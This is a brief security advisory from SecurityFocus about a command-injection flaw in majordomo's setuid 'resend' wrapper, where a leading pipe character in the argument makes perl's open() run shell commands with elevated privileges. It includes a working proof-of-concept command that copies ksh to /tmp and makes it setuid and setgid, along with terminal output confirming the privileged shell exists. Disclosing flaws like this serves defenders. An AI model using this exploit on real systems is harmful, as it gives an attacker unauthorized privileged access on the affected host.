10 lines
No EOL
842 B
Text
10 lines
No EOL
842 B
Text
source: https://www.securityfocus.com/bid/902/info
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It is possible to execute arbitrary commands with elevated privileges through exploiting the majordomo binary, "resend". A setuid root wrapper program calls resend after setuid()ing and setgid()ing to lowered (but still elevated) privileges which it runs resend with. resend contains a call to open() (it is a perl script), which can be made to execute shell commands if a '|' is the first character it is passed, so if the first parameter to resend is '@|shell;commands;here', the shell commands will be executed with resend's privileges.
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bash-2.02$ /usr/local/majordomo/wrapper resend '@|cp /bin/ksh
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/tmp/xnec;chmod 6555 /tmp/xnec'
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resend: must specify '-l list' at /usr/local/majordomo/resend line 77.
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bash-2.02$ ls -la /tmp/xnec
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-r-sr-sr-x 1 owner daemon 361688 Dec 29 06:26 /tmp/xnec |